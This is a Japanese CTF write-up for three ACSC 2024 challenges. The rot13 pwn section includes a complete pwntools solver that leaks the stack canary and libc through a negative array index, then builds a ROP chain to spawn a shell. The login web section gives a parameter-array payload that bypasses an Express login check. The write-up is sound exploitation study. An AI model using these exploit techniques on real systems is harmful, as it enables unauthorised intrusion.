ACSC
簡単な問題だけ解けました. 楽しかったです.
rot13 [pwn]
#include <stdio.h> #include <string.h> #define ROT13_TABLE \ "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \ "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \ "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \ "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \ "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \ "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \ "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \ "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \ "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \ "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \ "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \ "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \ "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \ "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" void rot13(const char *table, char *buf) { printf("Result: "); for (size_t i = 0; i < strlen(buf); i++) putchar(table[buf[i]]); putchar('\n'); } int main() { const char table[0x100] = ROT13_TABLE; char buf[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); while (1) { printf("Text: "); memset(buf, 0, sizeof(buf)); if (scanf("%[^\n]%*c", buf) != 1) return 0; rot13(table, buf); } return 0; }
❯ checksec rot13 [*] '/home/trimscash/acsc/pwn/distfiles-rot13/rot13' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
rot13をテーブルを用いて実装している.
まず以下を見るとtable
配列の要素をbuf
[i]で指定している.
ここでbuf
はchar
であるので,マイナスを取りうる.
例えば\xff
をbufに入れておけばtable
の上のデータを見ることができる.
void rot13(const char *table, char *buf) { printf("Result: "); for (size_t i = 0; i < strlen(buf); i++) putchar(table[buf[i]]); putchar('\n'); }
これにより,スタック上のrot13
関数のリターンアドレス
と,canary
とスタックのbase addr
がリークできる.
なのであとは以下の部分に存在するbuf overflowでROP
する.
if (scanf("%[^\n]%*c", buf) != 1) return 0;
ここでlibc addr
のリークが必要だが,これもrot13を読んだときのスタックに積まれていた.
putchar+119
libc
は配布されているDockerfileにより入手できる
FROM ubuntu:22.04@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb ENV DEBIAN_FRONTEND noninteractive
文字列/bin/sh
はbase addr
があるので,スタックに積んでおきそれを使う.
以下solver.py
from pwn import * from pwn import packing libc = ELF("./libc.so.6") # io = process("./rot13") # io = gdb.debug("./rot13", "b main\nc") io = remote("rot13.chal.2024.ctf.acsc.asia", 9999) payload = b"" leak_num = 15 for i in range(1, 0x8 * leak_num + 1): payload += pack(-i, 8, "little", True) print(payload) io.sendlineafter(b"Text: ", payload) io.recvuntil(b"Result: ") res = io.readline()[:-1] print(res) leaks = [] for i in range(leak_num): temp = res[i * 8 : i * 8 + 8][::-1] leaks.append(u64(temp)) ret_addr = leaks[0] base_addr = leaks[1] canary = leaks[2] putchar_addr = leaks[-1] # <putchar+119> libc_base = putchar_addr - (libc.sym["putchar"] + 119) print(hex(ret_addr)) print(hex(base_addr)) print(hex(canary)) print(hex(putchar_addr)) print(hex(libc.sym["putchar"])) print(hex(libc_base)) pop_rdi = 0x2A3E5 + libc_base sh_str = 0xDBCE8 + libc_base system = libc.sym["system"] + libc_base nop = 0x378DE + libc_base print(hex(libc.sym["system"])) binsh_addr = base_addr + 0x8 * 5 payload = b"a" * 0x108 + p64(canary) + b"b" * 8 payload += p64(nop) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system) payload += b"sh" print(payload) io.sendlineafter(b"Text: ", payload) io.sendline() io.interactive()
実行するとシェルが取れフラグがもらえた.
ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
login [web]
app.js
const express = require('express'); const crypto = require('crypto'); const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}'; const app = express(); app.use(express.urlencoded({ extended: true })); const USER_DB = { user: { username: 'user', password: "crypto.randomBytes(32).toString('hex')" }, guest: { username: 'guest', password: 'guest' } }; app.get('/', (req, res) => { res.send(` <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head> <body> <section> <h1>Login</h1> <form action="/login" method="post"> <input type="text" name="username" placeholder="Username" length="6" required> <input type="password" name="password" placeholder="Password" required> <button type="submit">Login</button> </form> </section> </body></html> `); }); app.post('/login', (req, res) => { const { username, password } = req.body; if (username.length > 6) return res.send('Username is too long'); const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else { res.send('Invalid username or password'); } }); app.listen(5000, () => { console.log('Server is running on port 5000'); });
Dockerfile
FROM node:alpine WORKDIR /app COPY app.js /app RUN yarn add express CMD ["node", "app.js"]
docker-compose.yaml
version: '3.5' services: web: build: . ports: - "5000:5000" environment: FLAG: ACSC{fake}
開くと以下.
これにguest
以外としてログインすればフラグがもらえる.
app.jsを見ると,express.urlencoded({ extended: true })
とある.
const app = express(); app.use(express.urlencoded({ extended: true }));
以下のページによると,username[]=aなどとすると,配列が作れるらしい.
手元で適当に実際に試してみると,確かに配列になっていることがわかる.
これを用いて何とかならないか.
いろいろと手元でガチャガチャしていたら. ["guest"]=="guest"がtrueになることがわかった.
const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else { res.send('Invalid username or password'); }
これにより,username[]=guestとリクエストすると.(つまりusername=["guest"]) ここで,userがguestになり.
const user = USER_DB[username];
ここでは,===
で型を含めて比較しているので,以下がfalseになりフラグが取得できるはず.
if (username === 'guest') {
最終的なpayloadは以下のようになった.
username[]=guest&password=guest
これを送る.
フラグがもらえた.
ACSC{y3t_an0th3r_l0gin_byp4ss}
An4lyz3-1t [hardware]
Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.
配布ファイルを展開すると,拡張子がsal
のファイルがあった.
問題文によると,Saleae logic analyzer
を使って記憶したシリアル通信とのことなので,
Saleae logic analyzer
のソフトをインストールしてみてみる.
するとこんな感じ.
一番幅が小さそうなとこを見ると,9.596kHzと57.554Hzという値が出てきた.なので,これに近い一般的に使われるボーレートを指定してみる.
Add analyzerからAsync Serial
を指定して設定できる.このBit Rate
がそれ.
試せばわかるが以下のように57600Hzにした時が一番それらしかった.
しかし,framing error
となっている.
以下のページを見るといい感じの図があるのだが,シリアル通信には,stop bit
というものがあり,それはHighになっていないといけない.上の図でいうと赤いバツがついているところがHighでないといけない.
では,あと一ビット文何かが足りないはず.シリアル通信にはオプションでparity bit
をつけることができるので,多分それが足りていない.
また信号を見るとわかる通り,偶数個のHighになっているのでeven parity
であることがわかる.
これを指定すればいい.
横のAnalyzerタブから先ほど追加したAnalyzerを編集する.
Parity Bit
にEven Parity Bit
を指定する.
するといい感じに見えている.
横のAnalyzerタブのTerminal
を見るとフラグが見えた.
ACSC{b4by4n4lyz3r_548e8c80e}
以上
Web, Cryptoをもっと解けるようになりたい.(というか全部解けるようになりたい.)と言いつつたゆまぬ努力というやつができていないのだが..
頑張ります.
楽しかったです.
解けなくて悩んでいる時,観る将棋が存在し得るなら,観るのCTFも存在し得ることに気づいた(((
観るCTFerとして頑張ります((うそです